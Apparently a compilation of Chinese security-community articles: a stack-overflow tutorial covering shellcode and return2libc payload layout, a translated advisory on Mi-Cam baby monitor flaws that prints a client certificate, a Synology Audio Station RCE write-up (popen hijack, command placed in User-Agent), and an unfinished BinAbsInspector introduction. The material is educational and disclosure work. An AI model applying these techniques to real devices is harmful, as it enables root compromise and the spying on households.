安全领域博大精深，很多童鞋都感兴趣却苦于难以入门，不要紧，我们会从最基础的内容开始，循序渐进地讲给大家。技术长路漫漫，我们携手一起出发吧。
## _0x10_ 本期简介
在计算机安全领域，缓冲区溢出是个古老而经典的话题。众所周知，计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度限制的数据，从而破坏程序运行甚至获得系统控制权的攻击手段。本文将以32位x86架构下的程序为例讲解栈溢出的技术详情。
为了实现栈溢出，要满足两个条件。第一，程序要有向栈内写入数据的行为；第二，程序并不限制写入数据的长度。历史上第一例被广泛注意的“莫里斯蠕虫”病毒就是利用C语言标准库的
gets() 函数并未限制输入数据长度的漏洞，从而实现了栈溢出。
Fig 1. 波士顿科学博物馆保存的存有莫里斯蠕虫源代码的磁盘（source:
[Wikipedia](https://zh.wikipedia.org/wiki/%E8%8E%AB%E9%87%8C%E6%96%AF%E8%A0%95%E8%99%AB)）
如果想用栈溢出来执行攻击指令，就要在溢出数据内包含攻击指令的内容或地址，并且要将程序控制权交给该指令。攻击指令可以是自定义的指令片段，也可以利用系统内已有的函数及指令。
## _0x20_ 背景知识
在介绍如何实现溢出攻击之前，让我们先简单温习一下函数调用栈的相关知识。
函数调用栈是指程序运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶；在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态。函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大。
Fig 2. 函数调用发生和结束时调用栈的变化
函数状态主要涉及三个寄存器－－esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp
用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip
的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。
下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。
首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。
Fig 3. 将被调用函数的参数压入栈内
然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。
Fig 4. 将被调用函数的返回地址压入栈内
再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的
ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。
Fig 5. 将调用函数的基地址（ebp）压入栈内，并将当前栈顶地址传到 ebp 寄存器内
再之后是将被调用函数（callee）的局部变量等数据压入栈内。
Fig 6. 将被调用函数的局部变量压入栈内
在压栈的过程中，esp
寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到
eip 寄存器内，这样程序就可以依次执行被调用函数的指令了。
看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。
首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。
Fig 7. 将被调用函数的局部变量弹出栈外
然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到 ebp 寄存器内。这样调用函数（caller）的
ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。
Fig 8. 将调用函数（caller）的基地址（ebp）弹出栈外，并存到 ebp 寄存器内
再将返回地址从栈内弹出，并存到 eip 寄存器内。这样调用函数（caller）的 eip（指令）信息得以恢复。
Fig 9. 将被调用函数的返回地址弹出栈外，并存到 eip 寄存器内
至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。
## _0x30_ 技术清单
介绍完背景知识，就可以继续回归栈溢出攻击的主题了。当函数正在执行内部指令的过程中我们无法拿到程序的控制权，只有在发生函数调用或者结束函数调用时，程序的控制权会在函数状态之间发生跳转，这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是
eip（还记得 eip 的用途吗？），所以我们的目标就是让 eip 载入攻击指令的地址。
先来看看函数调用结束时，如果要让 eip 指向攻击指令，需要哪些准备？首先，在退栈过程中，返回地址会被传给
eip，所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次，我们可以在溢出数据内包含一段攻击指令，也可以在内存其他位置寻找可用的攻击指令。
Fig 10. 核心目的是用攻击指令的地址来覆盖返回地址
再来看看函数调用发生时，如果要让 eip 指向攻击指令，需要哪些准备？这时，eip
会指向原程序中某个指定的函数，我们没法通过改写返回地址来控制了，不过我们可以“偷梁换柱”－－将原本指定的函数在调用时替换为其他函数。
所以这篇文章会覆盖到的技术大概可以总结为（括号内英文是所用技术的简称）：
* 修改返回地址，让其指向溢出数据中的一段指令（ **shellcode** ）
* 修改返回地址，让其指向内存中已有的某个函数（ **return2libc** ）
* 修改返回地址，让其指向内存中已有的一段指令（ **ROP** ）
* 修改某个被调用函数的地址，让其指向另一个函数（ **hijack GOT** ）
本篇文章会覆盖前两项技术，后两项会在下篇继续介绍。（所以请点击“关注专栏”持续关注我们吧 ^_^ ）
## _0x40_ Shellcode
_－－修改返回地址，让其指向溢出数据中的一段指令_
根据上面副标题的说明，要完成的任务包括：在溢出数据内包含一段攻击指令，用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开
shell，从而可以获得当前进程的控制权，所以这类指令片段也被成为“shellcode”。shellcode
可以用汇编语言来写再转成对应的机器码，也可以上网搜索直接复制粘贴，这里就不再赘述。下面我们先写出溢出数据的组成，再确定对应的各部分填充进去。
**payload :** padding1 + address of shellcode + padding2 + shellcode
Fig 11. shellcode 所用溢出数据的构造
padding1 处的数据可以随意填充（注意如果利用字符串程序输入溢出数据不要包含 “\x00”
，否则向程序传入溢出数据时会造成截断），长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode
起始处的地址，用来覆盖返回地址。padding2 处的数据也可以随意填充，长度可以任意。shellcode 应该为十六进制的机器码格式。
根据上面的构造，我们要解决两个问题。
1\. 返回地址之前的填充数据（padding1）应该多长？
我们可以用调试工具（例如
gdb）查看汇编代码来确定这个距离，也可以在运行程序时用不断增加输入长度的方法来试探（如果返回地址被无效地址例如“AAAA”覆盖，程序会终止并报错）。
2\. shellcode起始地址应该是多少？
我们可以在调试工具里查看返回地址的位置（可以查看 ebp
的内容然后再加4（32位机），参见前面关于函数状态的解释），可是在调试工具里的这个地址和正常运行时并不一致，这是运行时环境变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的
shellcode 起始地址，解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No
Operation)，也就是告诉 CPU 什么也不做，然后跳到下一条指令。有了这一段 NOP
的填充，只要返回地址能够命中这一段中的任意位置，都可以无副作用地跳转到 shellcode 的起始处，所以这种方法被称为 NOP
Sled（中文含义是“滑雪橇”）。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。
操作系统可以将函数调用栈的起始地址设为随机化（这种技术被称为内存布局随机化，即Address Space Layout Randomization
(ASLR)
），这样程序每次运行时函数返回地址会随机变化。反之如果操作系统关闭了上述的随机化（这是技术可以生效的前提），那么程序每次运行时函数返回地址会是相同的，这样我们可以通过输入无效的溢出数据来生成core文件，再通过调试工具在core文件中找到返回地址的位置，从而确定
shellcode 的起始地址。
解决完上述问题，我们就可以拼接出最终的溢出数据，输入至程序来执行 shellcode 了。
Fig 12. shellcode 所用溢出数据的最终构造
看起来并不复杂对吧？但这种方法生效的一个前提是在函数调用栈上的数据（shellcode）要有可执行的权限（另一个前提是上面提到的关闭内存布局随机化）。很多时候操作系统会关闭函数调用栈的可执行权限，这样
shellcode 的方法就失效了，不过我们还可以尝试使用内存里已有的指令或函数，毕竟这些部分本来就是可执行的，所以不会受上述执行权限的限制。这就包括
return2libc 和 ROP 两种方法。
## _0x50_ Return2libc
_－－修改返回地址，让其指向内存中已有的某个函数_
根据上面副标题的说明，要完成的任务包括：在内存中确定某个函数的地址，并用其覆盖掉返回地址。由于 libc
动态链接库中的函数被广泛使用，所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数（例如 system()
等），所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数，比如调用 system() 函数打开 shell 的完整形式为
system(“/bin/sh”) ，所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”)
为例，先写出溢出数据的组成，再确定对应的各部分填充进去。
**payload:** padding1 + address of system() + padding2 + address of “/bin/sh”
Fig 13. return2libc 所用溢出数据的构造
padding1 处的数据可以随意填充（注意不要包含 “\x00” ，否则向程序传入溢出数据时会造成截断），长度应该刚好覆盖函数的基地址。address
of system() 是 system() 在内存中的地址，用来覆盖返回地址。padding2 处的数据长度为4（32位机），对应调用 system()
时的返回地址。因为我们在这里只需要打开 shell 就可以，并不关心从 shell 退出之后的行为，所以 padding2
的内容可以随意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址，作为传给 system() 的参数。
根据上面的构造，我们要解决个问题。
1\. 返回地址之前的填充数据（padding1）应该多长？
解决方法和 shellcode 中提到的答案一样。
2\. system() 函数地址应该是多少？
要回答这个问题，就要看看程序是如何调用动态链接库中的函数的。当函数被动态链接至程序中，程序在运行时首先确定动态链接库在内存的起始地址，再加上函数在动态库中的相对偏移量，最终得到函数在内存的绝对地址。说到确定动态库的内存地址，就要回顾一下
shellcode 中提到的内存布局随机化（ASLR），这项技术也会将动态库加载的起始地址做随机化处理。所以，如果操作系统打开了
ASLR，程序每次运行时动态库的起始地址都会变化，也就无从确定库内函数的绝对地址。在 ASLR 被关闭的前提下，我们可以通过调试工具在运行程序过程中直接查看
system() 的地址，也可以查看动态库在内存的起始地址，再在动态库内查看函数的相对偏移位置，通过计算得到函数的绝对地址。
最后，“/bin/sh” 的地址在哪里？
可以在动态库里搜索这个字符串，如果存在，就可以按照动态库起始地址＋相对偏移来确定其绝对地址。如果在动态库里找不到，可以将这个字符串加到环境变量里，再通过
getenv() 等函数来确定地址。
解决完上述问题，我们就可以拼接出溢出数据，输入至程序来通过 system() 打开 shell 了。
## _0x60_ 半途小结
小结一下，本篇文章介绍了栈溢出的原理和两种执行方法，两种方法都是通过覆盖返回地址来执行输入的指令片段（shellcode）或者动态库中的函数（return2libc）。需要指出的是，这两种方法都需要操作系统关闭内存布局随机化（ASLR），而且
shellcode 还需要程序调用栈有可执行权限。下篇会继续介绍另外两种执行方法，其中有可以绕过内存布局随机化（ASLR）的方法，敬请关注。
## _0x70_ 号外
给大家推荐几个可以练习安全技术的网站：
Pwnhub ( [pwnhub | Beta](https://pwnhub.cn)
)：长亭出品，题目丰富，积分排名机制，还可以兑换奖品，快来一起玩耍吧！
Pwnable.kr ( <http://pwnable.kr> )：有不同难度的题目，内容涵盖多个领域，界面很可爱
[Pwnable.tw](http://Pwnable.tw)（ [Pwnable.tw
](http://pwnable.tw))：由台湾CTF爱好者组织的练习平台，质量较高
Exploit Exercises ( [https://exploit-exercises.com](https://exploit-exercises.co) )：有比较完善的题目难度分级，还有虚拟机镜像供下载
最后，放出一张长亭战队在PWN2OWN的比赛精彩瞬间，No Pwn No Fun ! 也祝长亭战队再创佳绩！
## References：
* 《Hacking: Art of Exploitation》
* <https://sploitfun.wordpress.com/2015/>
* * * | 社区文章 |
# 宝贝和互联网的故事：当婴儿监控器不再安全
|
##### 译文声明
本文是翻译文章，文章原作者 SEC Consult，文章来源：www.sec-consult.com
原文地址：<https://www.sec-consult.com/en/blog/2018/02/internet-of-babies-when-baby-monitors-fail-to-be-smart/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 婴儿监视器的安全状况不容乐观
在这篇文章中，我们将跟大家分享我们对婴儿监视器的安全状况研究报告。婴儿监视器在保护我们挚爱方面起着非常重要的作用，但不幸的是，我们所分析的“Mi-Cam“（制造商为miSafes）受到了多个严重安全漏洞的影响，而这足以引起我们对婴儿监视器安全情况以及隐私方面的担忧。在这些漏洞的帮助下，攻击者不仅能够访问并与任意视频婴儿监视器交互，而且还可以劫持其他用户的账号。
根据我们从云端API以及Google
Play商店提取出来的用户识别符数据，我们估计目前已经有超过52000个用户账号以及视频婴儿监视器已经受到了影响（受影响的账号和设备数量比约为1：1）。由于这些安全问题在本文发稿时都还没有被修复，所以我们建议各位Mi-Cam用户暂时不要上线自家的视频婴儿监视器。
## 婴儿监视器与隐私
视频婴儿监视器原本的功能是帮助我们保护孩子的安全，这对于所有家庭来说都是一项非常重要的服务。随着物联网设备的不断兴起，这种趋势也会影响传统的婴儿监视器制造商，因此新一代的婴儿监视器也席卷了全球市场。这样一来，市场上便出现了各种价格区间的可选对象，而这种竞争环境则会给用户带来非常多的好处（价格更低，功能更多，性价比更高）。比如说，现在很多婴儿监视器都引入了联网功能，但这种功能又会带来很多新的安全问题，而这些问题又跟市场上长期存在的问题有着千丝万缕的关系，因此广大消费者应该对此予以重视。
接下来，我们会给大家介绍我们对此类产品的安全分析结果。
miSafes的“Mi-Cam“
Mi-Cam是一款远程视频监视设备，由香港公司miSafes生产制造，而这家公司同时也在出售多款联网设备（例如宠物监视器和家庭安保设备）。就该公司的产品线来看，miSafes算是一家联网监控设备领域内的专业公司了。
视频婴儿监视器以及配对的移动端应用可以给用户提供以下服务：
1. HD(720p)视频及音频监控；
2. 双向音频传输；
3. 支持SD卡记录；
4. 语音和行为警报，可触发移动端应用程序发送通知消息；
5. 同时管理多台婴儿监视器；
6. 邀请多位家庭成员访问或管理多台婴儿监视器；
7. 通过移动端App访问设备（iOS+Android）；
## 网络通信
婴儿监视器的Android端应用使用了大量HTTPS请求以及响应来与云端服务进行交互，所有的请求都会发送给域名为ipcam.qiwocloud2.com的主机进行解析，而该主机则托管在亚马逊AWS上。网络通信使用的是HTTPS
POST请求，并使用JSON对象作为数据格式，整个网络通信功能是基于一个RESTful
API实现的。除此之外，它还支持用户身份验证和设备设置/恢复配置等功能。
我们在对婴儿监视器和云端服务之间的HTTPS通信数据进行分析和观察之后发现，婴儿监监视器设备上使用了一个客户端SSL证书来实现用户验证功能。如果无法提供有效的客户端证书，那我们就不可能观察并拦截到婴儿监视器的HTTPS通信数据。但是通过利用一个已知漏洞并提取出客户端SSL证书（几乎全世界所有的婴儿监视器使用的都是相同的证书！）和静态私钥，我们就可以观察并拦截到婴儿监视器的HTTPS通信数据了。
我们提取出的客户端证书如下：
-----BEGIN CERTIFICATE----- MIIDAzCCAmygAwIBAgIBDzANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQGEwJjbjES
MBAGA1UECAwJZ3Vhbmdkb25nMREwDwYDVQQHDAhzaGVuemhlbjENMAsGA1UECgwE
cWl3bzENMAsGA1UECwwEc2RjcDEXMBUGA1UEAwwOcWl3b2Nsb3VkMS5jb20wHhcN
MTUwNTI1MDkzMzU4WhcNMzgwMTIwMDkzMzU4WjCB0TELMAkGA1UEBhMCQ04xEzAR
BgNVBAgMCkd1YW5nIERvbmcxEjAQBgNVBAcMCVNoZW4gWmhlbjETMBEGA1UECgwK
UUlXTyBHcm91cDENMAsGA1UECwwEUWl3bzERMA8GA1UEAwwIcWl3by5jb20xHDAa
BgkqhkiG9w0BCQEWDWNlcnRAcWl3by5jb20xRDBCBgkqhkiG9w0BCQIMNXsicHJv
ZHVjdFR5cGUiOiJxaXdvX2lwY2FtIiwiYmF0Y2hOdW1iZXIiOiIyMDE1MDUyNSJ9
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDW8KwHzU5aNgDQwXEmKBrXrEY/
TKbwK3r4XKUlH2eUM0UmVBpnHzz9JQy0WSNs28CSpQlqwOTrODw4QS7PJcXrpqgA
V2E85DSx4RG/NAwD0bZdBIUEUHJfuTmSQ+Hwn8gXivjPBXjQb1oJ9BNu+SGLx8p+
MQTbj6/YIkjKV1qcKQIDAQABo1AwTjAdBgNVHQ4EFgQUHaGks8jt/3onjRiasDwP
MJxzOTQwHwYDVR0jBBgwFoAUpnSBwb/95nsc7+xVvn76i82QYMMwDAYDVR0TBAUw
AwEB/zANBgkqhkiG9w0BAQUFAAOBgQBB8fPH2WoIVr75Ik4QWwK37ANClpapfKUe
oTjvWOehYjBB+AndkVi6yFPwUj54vwdO3XBxYaxsGwuK4UsF8XwYWCA5aprmQqka
LjJvJAeCdvEWRA0WNTg8yGD4l2i+OsUgmK4kxS5BWuPje18y3Cbq/DHqeQiwoKFj
1zGuTI6+Kg==
-----END CERTIFICATE-----
你可以看到， Mi-Cam设备所使用的客户端证书有效期是非常非常久的。
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=cn, ST=guangdong, L=shenzhen, O=qiwo, OU=sdcp, CN=qiwocloud1.com
Validity
Not Before: May 25 09:33:58 2015 GMT
Not After : Jan 20 09:33:58 2038 GMT
Subject: C=CN, ST=Guang Dong, L=Shen Zhen, O=QIWO Group, OU=Qiwo, CN=qiwo.com/[email protected]/unstructuredName={"productType":"qiwo_ipcam","batchNumber":"20150525"}
SHA1 Fingerprint= DF:E0:C0:30:B9:0D:7D:F1:43:F8:FB:EE:19:8A:08:3A:3E:11:41:25
SHA256 Fingerprint= 79:9F:92:BD:D2:DD:06:3F:B9:93:55:F5:ED:EA:DC:D4:E8:7D:70:AF:D0:A9:92:48:A5:D7:E4:98:F6:F6:F1:E1
我们可以从观察到的网络数据中了解到，这款设备虽然没有使用常见的音频和视频传输协议，但是它却使用了一种设计混淆视频流字符的专有音频/视频传输协议。我们能够对Mi-Cam与云端服务器之间的网络数据进行反混淆处理，然后自动解码并从捕捉到的数据（pcap）中提取出视频流数据。
## 漏洞分析
接下来，我们会给大家介绍Android端应用、云端服务、以及视频婴儿监视器硬件中存在的安全漏洞。在我们的研究过程中，我们的主要注意力将放在分析App、视频婴儿监视器和云端基础设施之间网络通信的身上，而不是应用程序本身（iOS+Android）。比如说：
1. 会话管理漏洞&不安全的直接对象引用
2. 修改密码时出现验证码无效
3. 可用的串行接口
4. 默认凭证安全性较弱
5. 枚举用户账号
过时/不安全的软件
注：由于目前厂商还没有发布相应的漏洞修复补丁，因此我们现在还不能对外公布漏洞的详细信息，请各位同学谅解。更多详细内容可参考我们的【技术公告】。
### 1） 中断会话管理&不安全的直接对象引用
Android端应用与视频婴儿监视器之间的通信涉及到多个不同的中央云端API服务调用，而攻击者将能够利用任意会话令牌访问其中的多个关键API调用。下面给出的视频演示了攻击者如何通过修改HTTP请求来访问并与任意视频婴儿监视器进行通信交互，这将允许攻击者获取目标账号以及相关联的视频婴儿监视器信息（根据提供的UID实现）。
在进行这种攻击的过程中，攻击者其实并不需要客户端SSL证书，他们需要的这是App和一台拦截代理服务器：
视频地址：<https://youtu.be/SsYnXRUhpL0>
### 2） 修改密码时出现验证码无效
为了设置一个新的密码，忘记密码功能会向用户所提供的电子邮箱发送一个六位数字验证密钥（有效时长为30分钟）。攻击者将能够通过暴力破解攻击绕过这种保护机制，并轻松接管任意账号。
### 3） 可用的串行接口
视频婴儿监视器的印刷电路板（PCB）拥有一个未标记的通用异步接收器/发送器（UART）接口，这将允许攻击者获取设备的硬件级别访问权限，比如说使用IoT
Inspector提取固件系统进行进一步分析。
下图显示的是视频婴儿监视器的正面内部结构，包括PCB板以及UART接口等等：
下图显示的是视频婴儿监视器的背面内部结构，包括PCB板以及UART接口等等：
#### UART接口
为了访问这个接口，我们需要使用USB串行转换器与之连接，结构图如下所示：
### 4） 默认凭证安全性较弱
通过分析提取出的固件，或对运行中的系统进行简单的暴力破解攻击，攻击者将能够扫描出婴儿视频监视器root用户的四位数默认凭证：
`root:<redacted>`
### 5） 枚举用户账号
其中有一个API调用将会泄露用户账号（电子邮件地址）的信息，攻击者将能够枚举出用户的邮箱地址，并使用收集到的信息来接管用户账号。
### 6） 过时/不安全的软件
从婴儿视频监视器中提取出固件之后，攻击者将能够使用IoT
Inspector来对固件进行自动化分析，我们也从固件中的多个软件组件中发现了很多公开已知的安全漏洞，具体的已过期固件版本信息可以从我们所发布的安全公告中获取到。
安全公告：<https://www.sec-consult.com/en/blog/advisories/hijacking-of-arbitrary-misafes-mi-cam-video-baby-monitors/index.html>
## 总结
我们希望这份研究报告能够唤起社区对联网婴儿监视器安全状况的关注，实际上，除了本文所分析的Mi-Cam之外，还有很多厂商的视频监控设备同样存在类似的问题。因此，我们不仅要建议广大用户及时更新自己的物联网设备固件，而且我们也建议厂商在不断推出新一代产品时，将更多的注意力放在设备的安全上。 | 社区文章 |
**作者：fenix@知道创宇404实验室
时间：2021年6月10日**
# 前言
> 群晖科技（Synology）自始便专注于打造高效能、可靠、功能丰富且绿色环保 NAS
> 服务器，是全球少数几家以单纯的提供网络存储解决方案获得世界认同的华人企业[【1】](https://www.synology.com/
> "Synology 官网")。
2021 年 5 月 27 日，HITB 2021（阿姆斯特丹）会议上分享了 Synology NAS
的多个漏洞[【2】](https://conference.hitb.org/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf
"A Journey into Synology NAS")，Synology Calendar、Media Server、Audio Station
等套件中的漏洞可通过 Web 服务入口远程利用。Audio Station 套件的漏洞成因为 `audiotransfer.cgi`
存在缓冲区溢出，远程攻击者可构造特殊数据包，然后利用该漏洞以 root 权限在目标设备执行任意命令。
Synology 在产品安全性上还是很负责的，对于安全漏洞提供最高达 `10000$`
的赏金，近几年公开的漏洞中严重并且有详情的也不多，比如之前的《CVE-2017-11151 - Synology Photo Station
Unauthenticated Remote Code Execution》
[【3】](https://www.seebug.org/vuldb/ssvid-96331 "Synology Photo Station
Unauthenticated Remote Code Execution")。
Audio Station 这个漏洞品相着实有点好，经验证发现无需认证即可利用，虽然开了 ASLR 也不需要爆破，一个请求即可实现稳定 RCE。
写篇文章记录一下， 等年纪大了，还能回头看看 :)
### 环境搭建
Synology DS3615xs / DSM 5.2-5592 / Audio Station 5.4-2860
安装好黑群晖后，在应用商店安装 Audio Station 套件即可，DSM 5.2 的最新版 Audio Station 也存在漏洞。
### 漏洞分析
漏洞触发流程如下（图片来自会议 PPT）：
PoC 很容易构造，栈上没有指针需要恢复，一路畅通无阻，直接可控 PC。
### 调试及 EXP 构造
X86 架构，只开了 NX 保护，ASLR 为半随机，Payload 中不能包含 `'\x00'`、`'/'`。
本程序有 `popen()` 的符号 ，不需要 `return-to-libc`。
接下来进入调试环节，我们知道 Web 服务器收到客户端的请求后通过环境变量和标准输入（Stdin）将数据传递给 CGI 程序, CGI
程序执行后通过标准输出（stdout）返回结果。因此调试的时候就有两种方法，1：gdb attach 到 Web 服务程序，然后 `set follow-fork-mode child`；2：设置好环境变量，直接运行 CGI。为了避免 Web
服务程序带来的干扰，如对特殊字符编码解码处理，我们先通过手动设置环境变量的方式来调试：
可以看到，已经劫持执行流到 popen 了，现在思考一下参数传递的问题。 popen 的函数原型如下：
FILE *popen(const char *command, const char *type);
The popen() function opens a process by creating a pipe, forking,
and invoking the shell. Since a pipe is by definition
unidirectional, the type argument may specify only reading or
writing, not both; the resulting stream is correspondingly read- only or write-only.
The command argument is a pointer to a null-terminated string
containing a shell command line. This command is passed to
/bin/sh using the -c flag; interpretation, if any, is performed
by the shell.
The type argument is a pointer to a null-terminated string which
must contain either the letter 'r' for reading or the letter 'w'
for writing.
第二个参数很好处理：
In [7]: open('./audiotransfer.cgi', 'rb').read().index(b'r\x00')
Out[7]: 2249
第一个参数是命令字符串的地址，可以将其放到栈上，前面加一些 `';'` 作为命令滑板，然后 Payload 给一个大概的栈地址即可。此外，CGI 程序崩溃对
Web 服务没啥影响，可以爆破。
到这里就结束了吗？还有一个惊喜。
请求的 `User-Agent` 存到了堆上，由于 ASLR 为 1，通过 `brk()`分配的内存空间不会随机化，因此这是一个固定地址。
将命令字符串放到 `User-Agent`，调整 Payload，成功获取到 root shell。
然后就是 gdb attach 到 Web 服务程序进行实际漏洞利用调试了，可使用以下代码替换 `audiotransfer.cgi` ，方便确认
Payload 是否被修改，以及通过 `/proc/$pid/stat` 得到父进程的 pid。
#include<stdio.h>
#include<stdlib.h>
int main() {
printf("%s", getenv("REQUEST_URI"));
printf("%s", getenv("HTTP_USER_AGENT"));
sleep(1000000);
}
# 影响范围
通过 ZoomEye 网络空间搜索引擎对关键字 app:"Synology NAS storage-misc httpd" 进行搜索，共发现
10154041 条 Synology NAS 的 IP
历史记录，主要分布在中国、德国[【4】](https://www.zoomeye.org/searchResult?q=app%3A%22Synology%20NAS%20storage-misc%20httpd%22 "ZoomEye 网络空间搜索引擎")。安装了Audio Station 套件且版本 `< 6.5.4-3367`
的会受到该漏洞影响。
从 ZoomEye 随机抽取 10000 的目标进行漏洞检测，成功率为 `127/10000`。
# 致谢
Synology 官方没有发布该漏洞的安全公告，之前的文章引用了错误的链接及影响版本，实际影响版本为 `< 6.5.4-3367`（修复版本），感谢
swing 师傅指正 :)
# 相关链接
【1】: Synology 官网
<https://www.synology.com/>
【2】: A Journey into Synology NAS
<https://conference.hitb.org/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf>
【3】: Synology Photo Station Unauthenticated Remote Code Execution
<https://www.seebug.org/vuldb/ssvid-96331>
【4】: ZoomEye 网络空间搜索引擎
<https://www.zoomeye.org/searchResult?q=app%3A%22Synology%20NAS%20storage-misc%20httpd%22>
* * * | 社区文章 |
**作者：腾讯科恩实验室
原文链接：<https://mp.weixin.qq.com/s/x6jNNvkWRJt1YcHMakWHEg>**
## 引言
为提升静态分析在二进制文件漏洞检测领域效率和可扩展性，科恩孵化并开源二进制文件静态漏洞分析工具BinAbsInspector项目。
代码仓库地址：<https://github.com/KeenSecurityLab/BinAbsInspector>
## 背景
### 软件漏洞检测“两板斧”
随着信息产业的发展，网络安全问题日益严峻，软件漏洞对于互联网威胁极大，是网络安全中的核心问题。为了缓解漏洞所造成的危害，需要对软件进行安全检测，尽可能地发现并消除潜在漏洞。目前常见的自动化漏洞检测手段可以分为两类：
**动态分析测试** 和 **静态分析** 。
动态分析测试方法（如fuzzing等）在过去五年里吸引了研究者的广泛关注，相关系统在工业界中已经得到了大规模的部署和应用。相比于动态方法，静态分析通常具有更高的覆盖率，然而，现阶段对于静态分析的使用多依赖于人工经验规则，且精度和效率之间尚未找到一个合适的平衡点，这导致其在现实场景中的落地不尽如人意。
### 静态分析工具现状
目前国际上较为成功的商业化分析工具有 [Coverity[1] ](https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html)、
[CodeSonar[2]](https://www.grammatech.com/products/source-code-analysis) 、
[VeraCode[3]
](https://www.veracode.com/)等，它们在代码质量保障上发挥了重要作用，相关产品也在Google等公司的DevOps流程中得到了广泛部署和使用。
包括开源及商业化产品在内，现有的静态分析方案多为源码级分析。面向源代码进行扫描，尽管可以在一定程度上满足软件安全需要，然而在真实安全场景中，待分析对象多为二进制文件，如嵌入式系统固件，商业软件等，研究人员难以获得相应的源代码，此时源码级静态分析方案不再适用。
值得一提的是，部分商业化产品（如CodeSonar等）也提供了对于二进制文件的分析能力，然而商业化路线所带来的封闭性，在很大程度上限制了普通研究者的使用和二次开发。与此同时，在开源社区中也涌现出一批知名的二进制分析工具，如
[angr[4]](https://angr.io/) 、
[BAP[5]](https://github.com/BinaryAnalysisPlatform/bap/) 、 [cwe_checker[6]
](https://github.com/fkie-cad/cwe_checker/)。其中，angr和BAP逐渐往通用分析框架发展，并非专注于二进制漏洞扫描，因此其内部的分析算法较为庞杂，不利于进一步扩展和优化；cwe_checker的定位相对清晰，专注于安全漏洞扫描，但其精度和效率却不甚理想。目前业界亟需一种更为先进的二进制漏洞扫描工具，在开源的大前提下，其性能和可扩展性也要满足真实场景的需要。为此，科恩实验室基于自身在二进制领域丰富的研究与实践经验，同时结合业内相关优秀工具的设计理念，最终孵化出性能出色且自主可控的二进制漏洞静态扫描工具—BinAbsInspector。
## 原理与实现
BinAbsInspector的设计思想来源于上世纪70年代诞生的经典程序分析理论 **“抽象解释”**
，在具体实现上，BinAbsInspector的分析基于[Ghidra[7]](https://ghidra-sre.org/)所提供的中间表示Pcode上。通过设计合适的抽象域，实现其上的多种运算，完成相关Pcode的操作语义，执行流敏感（flow-sensitive）和上下文敏感（context-sensitive）的过程间分析，同时加入静态污点分析的能力，完成对程序运行时状态的抽象估计。基于上述分析所得的抽象数据流信息对多种漏洞建模，最终实现对二进制漏洞的静态扫描。
对于程序的抽象方法，我们主要参考了经典论文[《WYSINWYX: What you see is not what you eXecute》[8]
](https://dl.acm.org/doi/pdf/10.1145/1749608.1749612)中的做法并加以改良、简化和提升。
具体来说，在BinAbsInspector中整个运行时环境被分为Local
（抽象栈）、Heap（抽象堆）、Global（全局变量和数值）、Unique（对应Ghidra中产生的临时变量区）和Register（寄存器区）五种region。在这些不同的抽象区域上加上偏移数值offset，便可以组成一个抽象变量ALoc（Abstract
Location/Variable）。因为在二进制程序中，变量并非全部显式表示，ALoc便是对实际程序中变量的一种估算和识别。
对应不同的程序点，需要记录此处可能存活的抽象变量和其对应的抽象值，称之为AbsEnv（Abstract Environment）。
